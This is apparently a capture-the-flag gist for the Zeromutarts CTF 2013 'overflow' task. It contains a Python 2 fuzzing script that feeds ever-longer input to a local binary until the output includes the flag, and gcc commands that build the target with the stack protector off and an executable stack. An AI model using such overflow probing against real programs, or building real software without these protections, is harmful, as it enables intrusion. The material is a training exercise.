overflow Zeromutarts CTF 2013 - Buffer Overflow fuzzing on Linux http://zeromutarts.de/task/overflow http://zeromutarts.de/res/overflow_redacted.c

gistfile1.txt

import subprocess,os,commands
for i in xrange(1000,1500):
    textcmd = 'echo ' + 'a'*i + '|./overflow_redacted'
    run = subprocess.Popen(textcmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    data, error = run.communicate()
    if 'flag' in data:
        print i
        print data + '\n'
        filehandle = open('result.txt', 'a')
        filehandle.write(str(i) + '\n' + data + '\n')
        filehandle.close()
        break

gcc overflow_redacted.c -fno-stack-protector -o overflow_redacted
gcc overflow_redacted.c -fno-stack-protector -z execstack -o overflow_redacted

https://gist.github.com/trietptm/7230008

Network version:
https://gist.github.com/trietptm/7279575